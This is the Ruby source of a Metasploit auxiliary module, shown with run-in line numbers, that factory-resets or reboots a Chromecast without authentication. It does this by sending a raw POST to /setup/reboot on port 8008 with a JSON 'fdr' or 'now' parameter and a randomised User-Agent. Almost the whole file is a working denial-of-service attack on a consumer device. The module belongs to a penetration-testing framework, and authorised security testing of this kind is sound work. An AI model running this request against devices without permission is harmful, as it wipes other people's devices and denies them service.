Path: blob/master/modules/auxiliary/admin/chromecast/chromecast_reset.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Chromecast Factory Reset DoS',13'Description' => %q{14This module performs a factory reset on a Chromecast, causing a denial of service (DoS).15No user authentication is required.16},17'Author' => ['wvu'],18'References' => [19['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website20],21'License' => MSF_LICENSE,22'Actions' => [23['Reset', { 'Description' => 'Factory reset' }],24['Reboot', { 'Description' => 'Reboot only' }]25],26'DefaultAction' => 'Reset',27'Notes' => {28'Stability' => [CRASH_OS_DOWN],29'SideEffects' => [IOC_IN_LOGS],30'Reliability' => []31}32)33)3435register_options([36Opt::RPORT(8008)37])38end3940def run41case action.name42when 'Reset'43res = reset44when 'Reboot'45res = reboot46end4748unless res49print_error('No reply')50return51end5253if res.code == 20054print_good("#{action.name} performed")55else56print_error("An error occurred: #{res.code} #{res.message}")57end58end5960def reset61send_request_raw(62'method' => 'POST',63'uri' => '/setup/reboot',64'agent' => Rex::Text.rand_text_english(rand(1..42)),65'ctype' => 'application/json',66'data' => '{"params": "fdr"}'67)68rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,69Rex::HostUnreachable => e70fail_with(Failure::Unreachable, e)71ensure72disconnect73end7475def reboot76send_request_raw(77'method' => 'POST',78'uri' => '/setup/reboot',79'agent' => Rex::Text.rand_text_english(rand(1..42)),80'ctype' => 'application/json',81'data' => '{"params": "now"}'82)83rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,84Rex::HostUnreachable => e85fail_with(Failure::Unreachable, e)86ensure87disconnect88end89end909192